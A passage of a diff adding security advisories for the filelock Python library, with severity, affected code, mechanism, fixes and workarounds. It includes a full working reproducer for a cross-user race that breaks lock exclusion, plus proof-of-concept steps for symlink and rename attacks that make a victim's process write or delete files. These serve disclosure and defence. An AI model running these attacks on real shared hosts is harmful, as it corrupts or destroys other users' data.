its read and its break then renames and unlinks the live marker. Another local user (the other user below) who can create files in the lock's directory, a sticky `/tmp` included (the sticky bit is a directory flag that lets only a file's owner remove it), forces this at will. It plants a marker with a stale owner record and a modification time in the future and unlinks it as soon as a contender has read it. Two processes of the user running the lock (the lock user below) then hold the same default-configured lock at once, and nothing raises or logs. Affected versions: filelock >= 3.22.0 and <= 4.2.0 (finding `ANT-2026-KIIS96IX`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N, 4.7 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): a race, though one the other user starts, lengthens (by making the lock user's `/proc` read slow) and retries at every release. The scanner measured 10 to 26 overlaps per 20-second run. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's processes act on their own. `C:N` (no confidentiality impact): the other user reads nothing. `I:H` (high integrity impact): two holders write the data the lock protects, and neither learns of the other. `A:N` (no availability impact): the lock keeps working.\n\nClassification from the review: security, conditional on a sticky shared directory, ext4-style inode reuse and at least two contenders of the lock user. Our review verified it across UIDs (a UID is a user account's numeric id): the other user as uid 1001, the lock user's processes as uid 1000, BUG on 4.2.0 over ext4. The scanner rated it high (CWE-367).\n\n## Scope and preconditions\n\n- The other user can create files in the lock's directory; a root-owned `1777` directory such as `/tmp` or `/var/tmp` is enough. It creates, `utime`s (sets the timestamps of) and unlinks only its own file. The sticky bit stops it removing the lock user's marker (checked: `EPERM`, operation not permitted), so the lock user's own stale break does the deletion.\n- The directory is on a filesystem that hands a freed inode number straight to the next file. ext4 does (six create/unlink rounds returned one number six times, in the image's overlayfs `/tmp` and on a loop-mounted ext4), and xfs does. tmpfs returned six increasing numbers and the same run there gave no overlap, and btrfs does not hand a freed number back.\n- The lock user has at least two processes contending for the lock, and the displaced holder is still inside when the next contender polls (the breaker itself comes back one `poll_interval`, 50 ms by default, later).\n- The lock is `SoftFileLock`, `MarkerSoftFileLock` or `SoftFileLease` (or async forms). The default `flock`-based `FileLock` joins them only after it has fallen back to `SoftFileLock` on `ENOSYS`. `StrictSoftFileLock` does not call `break_lock_file`, so it is not affected.\n- The same overlap also occurs with no other user involved, under heavy same-account contention, when a contender breaks a dead holder's marker and a successor creates its marker within the same timestamp tick (about once in 750 crashes with 64 workers on a 2-CPU machine, not on tmpfs).\n\nfilelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit b831496, the re-check sits in [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L113-L118). Its callers are [`SoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123), [`MarkerSoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81) and [`SoftFileLease._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256). The reader [`_read_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L312-L334) closes the judged marker before the verdict.\n\n## Introduced\n\ne35c3afac473 (\"feat(soft): detect and break stale locks\", #476, 2026-02-13), first released in 3.22.0 (verified against the tags). Every release since, up to 4.2.0, carries the check.\n\n## Mechanism\n\n`_try_break_stale_lock` reads the marker through `_read_lock_file` (`lstat`, `O_RDONLY | O_NONBLOCK | O_NOFOLLOW` open, `fstat`, read, `close`), decides with `owner_is_stale` that the owner is gone, and calls `break_lock_file(lock_file, mtime, ino)`:\n\n```python\n# src/filelock/_util.py:113-118\nif (current := os.lstat(lock_file)).st_mtime > mtime_before or current.st_ino != ino_before:\n return\nbreak_path: Final[str] = f\"{lock_file}.break.{os.getpid()}.{secrets.token_hex(16)}\"\nPath(lock_file).rename(break_path)\nif (st_after := os.lstat(break_path)).st_mtime <= mtime_before and st_after.st_ino == ino_before:\n Path(break_path).unlink()\n```\n\nBetween the `close` in `_read_lock_file` and the `lstat` on line 113 nothing keeps the inode allocated. An inode number identifies a file only while something holds that inode. The release path already says so (\"Our open descriptor keeps the inode allocated, so its number cannot name a successor's marker yet\"); the break path does not. That leaves the modification time, which the file's owner sets to any value and which the code compares by order. With two jobs A and B of the lock user and the other user:\n\n1. The other user creates `app.lock` (inode `I`) with the record `\\n\\n1\\n` and sets its time to the year 2100 with `os.utime()`. A live PID with a wrong start token (the value that identifies one incarnation of a PID) is a recycled PID, so every contender judges the owner stale. On its own this marker only makes the lock user's processes wait: they cannot rename another user's file in a sticky directory (`EPERM`, and `acquire(timeout=1)` raises `Timeout`).\n2. A polls, reads `(record, mtime=2100, ino=I)`, closes the file and enters `owner_is_stale()`.\n3. The other user unlinks its marker. Inode `I` is free.\n4. B polls. The path is empty, so `O_EXCL` (create only if absent) succeeds and ext4 gives the new marker inode number `I`. B holds the lock.\n5. A reaches line 113 and looks at B's marker: its time (now) is not newer than 2100 and its inode number is `I`. A renames it (it is the lock user's own file, so the sticky bit does not object), line 117 passes for the same reason, and line 118 unlinks the live marker.\n6. The path is empty again while B is still inside. The next contender to poll, A included, creates its marker and holds the lock as well.\n\nWhen B releases, `_unlink_open_marker` finds another file at the path and leaves it alone, so neither side raises or logs anything. This is not the documented rename/link-back window: the code does not take the link-back branch and leaves no `app.lock.break.*` file behind. With a marker dated 2000, line 113 sees a newer time on B's marker and returns.\n\nThe other user does not need luck for the timing of step 3. It sees A's `close()` through inotify (a Linux facility that reports file events; here `IN_CLOSE_NOWRITE` on its own file), and it chooses how long A stays in `owner_is_stale()`. To compare the start token, `process_start_token()` reads `/proc//stat`, and the kernel walks every thread of that process. Measured as `victim`, `owner_is_stale()` takes a median of 19 µs for a dead PID and 931 µs for a process with 8000 idle threads. Step 4 then needs another contender's 50 ms poll to fall into that millisecond, and the other user retries at every release of the lock.\n\nA forged time is not required, only convenient. File times advance in 4 ms steps, so a successor's marker created in the same step as the stale marker's last write compares equal and passes `>` / `<=` too (8, 16 and 16 overlaps in three 20-second runs with the `os.utime()` call removed, and still 9 with the comparisons changed to `!=` / `==`). Outside a container the window is wider. With a bare hostname `owner_is_stale()` goes on to `_owner_runs_elsewhere()`, which reads `/proc//stat` of every process on the machine (7 ms with 500 processes, 45 ms with 3000, against the default 50 ms `poll_interval`). With 3000 idle processes of the other user, both jobs of the lock user were inside at once in 12 and 13 of 30 rounds.\n\n`MarkerSoftFileLock` and `SoftFileLease` read with `_read_lock_file()` and call `break_lock_file()` in the same way, and showed the same overlap when a stall held A 3 s in its `kill(pid, 0)` probe. The malformed-marker self-heal in `SoftFileLock` hands `break_lock_file()` values from the same closed descriptor. Where the lock user may rename the other user's file (it owns the sticky directory, or is root), the other user only acquires the free lock, dates the marker ahead and exits without releasing. The first contender then breaks that marker as designed and creates its own on the freed number, and a second contender that judged the planted marker before that break removes the live one. Two of the project's own tests at the scanned commit hit the same case without any other user (`test_stale_break_racing_a_successor_admits_no_third_holder`, `test_break_lock_file_leaves_a_swapped_in_symlink_aside`), failing in 10 of 14 runs on ext4.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-KIIS96IX`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nLOCK_DIR = \"/tmp/shared-locks\"\nLOCK_PATH = f\"{LOCK_DIR}/app.lock\"\nVICTIM_JOBS = 6\nRUN_SECONDS = 20\nJAN_1_2000 = 946684800\nJAN_1_2100 = 4102444800\n\n\ndef run_victim_jobs_beside_attacker(stale_marker_mtime):\n # set up: an empty root-owned sticky directory, like /tmp (the sticky bit stops the attacker removing victim files)\n shutil.rmtree(LOCK_DIR, ignore_errors=True)\n os.mkdir(LOCK_DIR)\n os.chmod(LOCK_DIR, 0o1777)\n\n # run: nobody is paused or traced; the attacker and the victim's jobs just run side by side\n attacker = subprocess.Popen(\n [sys.executable, \"/tmp/repro.d/plant_stale_markers.py\", LOCK_PATH, str(stale_marker_mtime)],\n stdout=subprocess.PIPE,\n text=True,\n user=\"attacker\",\n group=\"attacker\",\n extra_groups=[],\n )\n try:\n assert attacker.stdout.readline() == \"ready\\n\"\n jobs = [\n subprocess.Popen(\n [sys.executable, \"/tmp/repro.d/victim_job.py\", LOCK_PATH, str(RUN_SECONDS)],\n stdout=subprocess.PIPE,\n text=True,\n user=\"victim\",\n group=\"victim\",\n extra_groups=[],\n )\n for _ in range(VICTIM_JOBS)\n ]\n holds = []\n for number, job in enumerate(jobs):\n output, _ = job.communicate(timeout=RUN_SECONDS + 60)\n assert job.returncode == 0 # no Timeout or other exception reached the victim's code\n for line in output.splitlines():\n entered, left, is_locked = line.split()\n assert is_locked == \"True\" # the job believed it held the lock\n holds.append((float(entered), float(left), f\"job{number}\"))\n finally:\n attacker.kill()\n attacker.wait()\n break_files = [name for name in os.listdir(LOCK_DIR) if \".break.\" in name]\n return sorted(holds), break_files\n\n\ndef overlapping_holds(holds):\n # time.monotonic() is CLOCK_MONOTONIC, one clock for every process on the host, so the intervals compare directly\n return [\n (first, second)\n for index, first in enumerate(holds)\n for second in holds[index + 1 :]\n if second[0] < first[1] # sorted by entry: the second entered before the first had left\n ]\n\n\ncontrol_holds, _ = run_victim_jobs_beside_attacker(JAN_1_2000)\ncontrol_overlaps = overlapping_holds(control_holds)\nprint(f\"CONTROL attacker's stale markers dated 2000: {len(control_holds)} holds by {VICTIM_JOBS} victim jobs\")\nprint(f\" two jobs inside the lock at once: {len(control_overlaps)} times\")\n\nattack_holds, break_files = run_victim_jobs_beside_attacker(JAN_1_2100)\nattack_overlaps = overlapping_holds(attack_holds)\nprint(f\"OBSERVED attacker's stale markers dated 2100: {len(attack_holds)} holds by {VICTIM_JOBS} victim jobs\")\nprint(f\" two jobs inside the lock at once: {len(attack_overlaps)} times\")\nfor (entered, left, job), (other_entered, other_left, other_job) in attack_overlaps[:3]:\n print(f\" {job} inside {entered:.3f}-{left:.3f}, {other_job} inside {other_entered:.3f}-{other_left:.3f}\")\n# the documented rename/link-back window of a stale break would strand a live marker as app.lock.break.*\nprint(f\" stale-break files left in {LOCK_DIR}: {break_files}\")\n\n# check: an exclusive lock with default options must never have two holders at once\nprint(\"BUG\" if not control_overlaps and attack_overlaps else \"OK\")\n```\n\n**`repro.d/plant_stale_markers.py`**\n\n```python\n#!/usr/bin/env python3\nimport ctypes\nimport os\nimport sys\nimport threading\nimport time\n\nfrom filelock import SoftFileLock\n\nlock_path, marker_mtime = sys.argv[1], int(sys.argv[2])\nIN_CLOSE_NOWRITE = 0x10\nlibc = ctypes.CDLL(None)\n\n# contenders only judge markers written on their own host, so take the host string from a marker of our own\nwith SoftFileLock(lock_path):\n with open(lock_path) as own_marker:\n host = own_marker.read().splitlines()[1]\n\n# \\n\\n\\n: this PID is alive but its start token is not 1, so it reads as a recycled PID\n# and every contender judges the marker stale\nstale_marker = f\"{os.getpid()}\\n{host}\\n1\\n\".encode()\n\n# To compare start tokens a contender reads /proc//stat, and the kernel walks every thread of that process:\n# with 8000 threads that is about 1 ms between the contender reading the marker and breaking it.\nthreading.stack_size(64 * 1024)\nfor _ in range(8000):\n threading.Thread(target=threading.Event().wait, daemon=True).start()\nprint(\"ready\", flush=True)\n\nwhile True:\n # plant the stale marker whenever the lock path is free\n try:\n fd = os.open(lock_path, os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)\n except FileExistsError:\n time.sleep(0.0002)\n continue\n os.write(fd, stale_marker)\n os.utime(fd, (marker_mtime, marker_mtime)) # a file's owner may give it any modification time\n os.close(fd)\n\n # once a contender has read it, unlink it: its inode number is free again for the next holder's marker\n inotify = libc.inotify_init()\n libc.inotify_add_watch(inotify, lock_path.encode(), IN_CLOSE_NOWRITE)\n os.read(inotify, 4096)\n os.unlink(lock_path)\n os.close(inotify)\n\n # creating anything before the next holder does would take that inode number away from it\n while not os.path.lexists(lock_path):\n time.sleep(0.0002)\n```\n\n**`repro.d/victim_job.py`**\n\n```python\n#!/usr/bin/env python3\nimport random\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock_path, run_seconds = sys.argv[1], float(sys.argv[2])\n\nlock = SoftFileLock(lock_path)\nstop_at = time.monotonic() + run_seconds\nwhile time.monotonic() < stop_at:\n with lock:\n entered = time.monotonic()\n time.sleep(random.uniform(0.05, 0.15)) # the work the lock protects\n print(entered, time.monotonic(), lock.is_locked, flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant X as other local user (uid 1001)\n participant P as app.lock (root-owned 1777 dir, ext4)\n participant A as process A of the lock user (uid 1000)\n participant B as process B of the lock user (uid 1000)\n X->>P: create \"livepid host 1\", utime to 2100 (inode I)\n A->>P: open, fstat (ino I, mtime 2100), read, close\n A->>A: owner_is_stale: recycled PID (slow: /proc read of X's 8000-thread process)\n rect rgb(255, 214, 214)\n X->>P: inotify IN_CLOSE_NOWRITE on own file: unlink it, I is free\n B->>P: O_CREAT|O_EXCL: new marker gets inode I, B holds and enters\n A->>P: lstat: mtime now <= 2100 and ino == I: rename to app.lock.break.*\n A->>P: lstat break name: same, unlink B's live marker\n A->>P: next poll 50 ms later: O_EXCL create, A enters beside B\n Note over A,B: B's release finds another inode, leaves it, no error on either side\n end\n```\n\n## Evidence\n\nThe scanner's reproducer runs six `victim` jobs (uid 1000) looping `with SoftFileLock(\"/tmp/shared-locks/app.lock\"):` around 50 to 150 ms of work, printing `time.monotonic()` entry and exit and `lock.is_locked`, for 20 s. Beside them runs an `attacker` process (uid 1001) with 8000 idle threads that plants its marker whenever the path is free, waits for `IN_CLOSE_NOWRITE`, unlinks it and waits for the next `victim` marker. The control (markers dated 2000) prints `191 holds by 6 victim jobs, two jobs inside the lock at once: 0 times`. The disturbed run (dated 2100) prints `196 holds, two jobs inside the lock at once: 15 times`, for example `job3 inside 130.436-130.530, job5 inside 130.444-130.521`, with `stale-break files left in /tmp/shared-locks: []`. Six runs gave between 11 and 24 overlaps, 0 in each control, every `with` block ending without error with `is_locked == True`.\n\nAn `strace` of a landed round shows A's `close(4(deleted))`, B's `openat(O_WRONLY|O_CREAT|O_EXCL|...)` with `st_ino=296421`, and A's `lstat`, `rename`, `lstat`, `unlink` all on 296421, followed by B's `write(4(deleted), ...)` and A's own create 53 ms later.\n\nOur review ran the reproducer over a loop-mounted ext4 `/tmp` inside the container (the host's btrfs does not reuse a number). Result: BUG on 4.2.0 in 43 s, with the other user as uid 1001 against the lock user's processes as uid 1000; it created and unlinked only its own file in a root-owned `1777` directory. On btrfs the same run is OK, so the condition is the filesystem's inode allocation. On the head of #843 the run was OK with 0 overlaps in 193 holds.\n\n## Impact\n\nA local user who can create files in the lock's directory puts two processes of another user inside the same default-configured `SoftFileLock`, `MarkerSoftFileLock` or `SoftFileLease` at once, with no exception, no `lifetime`, no lease expiry and no `break_lock()` involved. Two holders then write the data the lock protects. `SoftFileLock` and `MarkerSoftFileLock` holders learn nothing. A displaced `SoftFileLease` holder got `compromise.reason == \"owner-changed\"` at its first heartbeat (the periodic refresh a lease holder runs) when the second holder's marker was still at the path, and `None` after 13 s when the second holder had already released.\n\nIt is a race, but the other user controls the start and the length of the window, and each failed attempt costs the lock user's processes one poll. Under the same interference with two processes of the lock user and 20 ms critical sections, 26 of 110 holds in 60 s found their own marker unlinked (`st_nlink == 0`, no name left for the file) while inside, without two holds overlapping. Not affected: tmpfs and btrfs, a lock with a single contender, `StrictSoftFileLock`.\n\n## Workarounds\n\nKeep soft locks in a directory other users cannot create files in (a `0700` directory of the lock's user) rather than a shared sticky directory, or place the lock directory on tmpfs, which does not reuse inode numbers. Where the native `FileLock` works (local ext4 with `flock`), prefer it over `SoftFileLock`. `StrictSoftFileLock` is not affected.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/843\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-KIIS96IX`, scanned commit b831496b0273)\n- 2026-10-16 01:42 UTC: fix PR #843 opened\n- 2026-10-16 05:38 UTC: draft advisory created", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-fq56-3cx3-fjxp" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112935" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/843" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/740ff666b62a88496c8d7394e4e6230605e4d62b" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +} diff --git a/advisories/BREW-virtualenv-CVE-2026-112936.json b/advisories/BREW-virtualenv-CVE-2026-112936.json new file mode 100644 index 00000000000..948c67722d3 --- /dev/null +++ b/advisories/BREW-virtualenv-CVE-2026-112936.json @@ -0,0 +1,84 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-virtualenv-CVE-2026-112936", + "published": "2026-10-29T23:11:49Z", + "modified": "2026-10-29T23:11:49Z", + "upstream": [ + "GHSA-j8f7-rjxc-mr56", + "CVE-2026-112936" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "virtualenv", + "purl": "pkg:brew/virtualenv" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "20.37.0" + }, + { + "fixed": "21.14.3" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "4.0.9", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@4.2.4" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "4.2.4", + "key": "pkg:pypi/filelock@4.2.4", + "resource": "filelock" + } + ] + }, + "summary": "filelock: ReadWriteLock follows a symlink at the lock path into SQLite", + "details": "### Summary\n\n`ReadWriteLock` and `AsyncReadWriteLock` resolve the lock path with `pathlib.Path.resolve()` and pass it to `sqlite3.connect()` without refusing a symlink. A local user who can create names in the lock's directory, such as `/tmp` or a shared cache, can plant a symlink at the lock path and make the victim's process create, lock, or write the file it points to, or break mutual exclusion between the victim's own processes.\n\n### Details\n\n`ReadWriteLock.__init__` stores `pathlib.Path(lock_file).resolve()`, which follows a final symlink, and every connection opens that path through `sqlite3.connect()` with no `O_NOFOLLOW` or regular-file check. SQLite's own VFS also resolves the final symlink in user space, so `fs.protected_symlinks` and the sticky bit do not help: the kernel never sees a symlink to refuse. The other lock classes do not follow a final symlink: `FileLock` opens with `O_NOFOLLOW`, and `SoftReadWriteLock` coordinates through `.rw/`.\n\n### Proof of concept\n\nOn Linux, with the victim and attacker as different users and `/shared` mode 1777 with `fs.protected_symlinks=1`:\n\n1. The attacker runs `ln -s /home/victim/private/pwned.flag /shared/app.rwlock.db`.\n2. The victim constructs `ReadWriteLock(\"/shared/app.rwlock.db\")`. A plain `os.open(..., O_NOFOLLOW)` on the same path fails, but the lock creates `/home/victim/private/pwned.flag`, owned by the victim, inside a directory the attacker cannot write.\n3. With `/shared/cache.rwlock.db -> /shared/a.db`, one victim process holds the write lock. The attacker repoints the link to `/shared/b.db`, and a second victim process acquires the write lock while the first still holds it.\n\nThe same behavior reproduces on macOS, on Windows 11, and through `AsyncReadWriteLock`.\n\n### Impact\n\nA local attacker with write access to the lock directory can make the victim create empty files it owns at paths the attacker cannot write, make the victim hold a SQLite lock on another application's database so that application gets `database is locked`, and give two victim processes the write lock at once, letting them corrupt the resource the lock protects.\n\n### Workarounds\n\nKeep `ReadWriteLock` paths in directories that only trusted users can write.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-j8f7-rjxc-mr56" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112936" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/4d45e83caf7e31f9a12fb44526bdc07f70114f04" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.0.9" + } + ] +} diff --git a/advisories/BREW-virtualenv-CVE-2026-112937.json b/advisories/BREW-virtualenv-CVE-2026-112937.json new file mode 100644 index 00000000000..1d155ddf4d0 --- /dev/null +++ b/advisories/BREW-virtualenv-CVE-2026-112937.json @@ -0,0 +1,88 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-virtualenv-CVE-2026-112937", + "published": "2026-10-29T23:11:49Z", + "modified": "2026-10-29T23:11:49Z", + "upstream": [ + "GHSA-jqc4-5cvw-7w85", + "CVE-2026-112937" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "virtualenv", + "purl": "pkg:brew/virtualenv" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "21.14.7" + }, + { + "fixed": "21.14.10" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@4.2.4" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "4.2.4", + "key": "pkg:pypi/filelock@4.2.4", + "resource": "filelock" + } + ] + }, + "summary": "filelock: ReadWriteLock on the hard-link route deletes any directory another user renames onto its .filelock-* link directory name", + "details": "`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) remove their private `.filelock-*` link directories with `shutil.rmtree` (a recursive delete) on a remembered path. They do not check that the path still names the directory they created. This happens on the hard-link route (a hard link is a second name for the same file). That route is every connection on macOS since 4.1.1 and any POSIX process without a usable `/proc/self/fd` (a Linux path that names the process's own open files), such as a chroot or container that does not mount `/proc`.\n\nAnother local user who can rename entries in the directory that holds the lock database can rename one of the directories of the user running the lock (below: the lock user) onto the link directory's name, or onto a forged dead-holder name. Such a lock directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The lock user's process then deletes that tree and everything in it with the lock user's permissions, and reports no error. Stock Linux with `/proc` mounted is not affected. Affected versions are filelock 4.1.0 through 4.2.0.\n\nAnthropic's OSS Scanner reported this in private as `ANT-2026-LSSZIUEO` [high, CWE-367]: ReadWriteLock deletes any directory another user renames to .filelock-*.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L` scores 6.1 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): two `rename` calls and no race against filelock's own code. `I:H` (high integrity impact): the other user destroys a directory tree owned by the lock user, and the lock user's program reports no error. `A:L` (partial availability loss): the Python 3.11 `RecursionError` variant makes the lock user's first lock construction fail. `C:N` (no confidentiality impact): the other user learns nothing. `S:U` (scope unchanged): the effect stays within the lock user's own privileges.\n\nClassification from the external review: **conditional security**, a cross-user rename in a non-sticky shared parent that turns private-link cleanup into recursive deletion of the lock user's tree. The scanner rated it high. The review accepts the mechanism, notes that the macOS route rests on a Linux run with `/proc` hidden rather than on a run on macOS, and narrows the finding to that precondition and route.\n\n## Scope and preconditions\n\n- The other party is a different local account with write permission on the directory that holds the lock database, where that directory has no sticky bit. That is a `0777` directory, or a group-writable one (in a setgid `2775` directory a group member can rename the lock user's sub-directory the same way). Renaming an entry needs write permission on the parent only, not on the entry. Anyone who can write the parent can rename a `0700` directory of the lock user.\n- Sticky directories (`/tmp` itself, any `1777` directory) stop the release variant: the rename of an entry owned by the lock user fails with `EPERM`. The dead-owner sweep still reaches a lock user's tree that sits inside a directory the other account owns there. That account may rename its own directory to a forged dead-owner name, and the lock user's sweep deletes everything inside it. The Python 3.11 `RecursionError` variant also works in a sticky directory.\n- Platform and route. The lock user must connect through the private hard link. That is every `ReadWriteLock` or `AsyncReadWriteLock` on macOS (since 4.1.1, #820), or a POSIX process whose `/proc/self/fd/` (`/dev/fd/` elsewhere) does not exist, such as a chroot or container without `/proc`. Linux with `/proc` mounted connects through the descriptor and creates no `.filelock-*` directory (checked: none appears, also with two holders in one process), so stock Linux is not affected at 4.2.0. The macOS statement rests on the `descriptor_usable` branch at line 984 and `docs/how-to.rst`. The reproducer runs the same Python code on Linux with `/proc` hidden, which takes root and is test scaffolding, not a step the other user performs. Windows does not take this route.\n- Target set. Only directories that sit in the shared parent itself, or that the other account can already write, are reachable. The kernel refuses to move a `0700` directory of the lock user in from another parent. A tree the other account can already write (a group-writable project tree created with umask `002`) is no gain, since that account can delete it without filelock. A lock user running as root deletes a tree of any owner.\n- Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`: [`_ForkSafeConnection.close` runs `shutil.rmtree` on the remembered `mkdtemp` path](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L290-L296). The path comes from [`retain_until_close`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L305-L307), set on the [link route in `_connect_through_descriptor`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L984-L1011), where [`descriptor_usable` is `False` on macOS](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L984). Three more `rmtree` sites sit in [`_link_beside`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1014-L1029) (lines 1023 and 1026) and the connect's `finally` (line 1011). The fifth is in [`_sweep_links_of_the_dead`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1032-L1051), with the name parser [`_owner_is_gone`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1054-L1065) and [`_link_prefix`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1068-L1071).\n\n## Introduced\n\nThe link directory moved beside the database in `015d27c` (\"fix(read-write): reject WAL databases and link beside the db (#805)\"), and the dead-owner sweep came with `df06bbd` (#815). Both were first released in **4.1.0** (verified: `git tag --contains` gives 4.1.0 for both; 4.0.11 and 4.0.12 made the link in `TMPDIR`). macOS takes the link route for every connection since `5fd0c8f` (#820), first released in **4.1.1** (verified).\n\n## Mechanism\n\nWhen the lock connects through its private hard link, it disposes of `.filelock-*` directories with `shutil.rmtree` on a path. Nothing ties that path to the directory filelock created. `mkdtemp` makes the name unpredictable and the directory `0700`. The name is in the parent's listing as soon as it exists (`ls -a`), and renaming it needs write permission on the parent only. `0700` keeps the other user out of the directory; it does not stop a rename of the directory. There are two ways in, with the same preconditions.\n\n**On release.** A connection lives for one acquisition: `_open_for_acquisition` opens it and `release()` reaches `close` through `_release` and `_finish_connection`. The code trusts the path from the acquire to the release, for as long as the application keeps the lock. While the lock user holds `write_lock()` on `/tmp/shared-cache/cache.db`, the directory lists `.filelock----/` (`0700`, owned by the lock user, containing `lock.db`). The other user runs two renames: that directory to `moved-aside`, then `victim_project` (a `0700` directory of the lock user with `notes.txt` inside) onto the link directory's name. When the lock user leaves the `with` block, `rmtree` deletes `victim_project` and everything in it with the lock user's permissions, and the process exits with status 0. `moved-aside/lock.db`, the real link, stays behind as an extra hard link to the database. The constructor's validation connection (`ReadWriteLock.__init__` opens and closes one, creating and removing a link directory) and the three error-path removals trust the path the same way, with windows a few system calls long.\n\n**In the dead-owner sweep.** `_link_beside` calls `_sweep_links_of_the_dead(parent)` once per process and parent directory before `mkdtemp`. The first connect of every process on the link route runs it, the validation connection included. It runs `rmtree` on every `.filelock-*` directory whose name parses as a dead owner's. It checks neither the directory's owner, nor its mode, nor whether it holds only `lock.db`. `_owner_is_gone` splits the name after `.filelock-` into `pid`, `start`, `digest` (a hash of the host name) and a suffix. It returns `digest == _host_digest(host) and owner_is_stale(pid, host, start or None)`.\n\nThe other user can forge every field. Take `.filelock-2147483647---x`. `pid` is the largest value the #821 range check accepts and above the PID limit of Linux and macOS, so `process_alive` gets `ESRCH` from `os.kill(pid, 0)`; the PID of any exited process, such as a child the other user just reaped, passes as well. `start` is empty, which the parser accepts because `_link_prefix` writes an empty field when it has no start token; with no token and a dead PID `owner_is_stale` returns `True`. `digest` is 